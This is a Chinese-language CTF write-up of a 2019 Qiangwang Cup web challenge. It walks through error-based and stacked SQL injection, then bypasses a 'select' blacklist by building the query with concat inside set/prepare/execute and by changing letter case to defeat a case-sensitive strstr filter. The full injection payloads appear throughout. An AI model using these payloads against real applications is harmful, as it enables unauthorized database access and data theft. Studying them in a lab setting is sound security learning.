0x00 前言

2019年强网杯一道堆叠注入+预编译绕过的题目,记录下来学习。

0x01 Writeup

1.png

传参

1
inject=1'

报错
2.png

添加注释,返回正常

order by探测字段数为2

存在过滤检测:

1
inject=1' unioin select 1,2--+q

3.png

没有过滤extractvalue(),试试报错注入

1
inject=1' and extractvalue(1,(concat(0x7e,(database()))))--+q

4.png

虽然知道了表名,但是select无法绕过,不能继续

尝试堆叠注入

1
inject=0';show tables--+q

5.png

有两个表,分别是 1919810931114514 和 words

1
inject=0';show columns from words--+q

6.png

1
inject=0';show columns from `1919810931114514`--+q

这个表名要加反引号

找到flag字段

7.png

获取flag

1
inject=0';select * from `1919810931114514`--+q

而这里需要预编译结合concat()绕过select

预编译:

set 设置变量名和值

prepare 预备一个语句,并赋予名称,以后可以引用该语句

execute 执行语句

deallocate prepare 释放掉预处理的语句

将上式拆开:

1
concat('sel','ect * from `1919810931114514`--+q')

完整预编译:

1
2
3
4
5
6
inject=0';
set @sql = concat('sel','ect * from `1919810931114514`--+q');//设置变量名和值
prepare sqli from @sql; //预备一个语句,方便调用
execute sqli; //执行预备语句
--+
//最后的释放省略

输入

1
inject=0';set @sql = concat('se','lect * from `1919810931114514`;');prepare sqli from @sql;execute sqli;--+q

8.png

看到 set 、 prepare在黑名单 $inject中,并且使用strstr()进行比较

strstr()大小写敏感,可以大小写绕过

最终:

1
inject=0';Set @sql = concat('se','lect * from `1919810931114514`;');Prepare sqli from @sql;execute sqli;--+q

9.png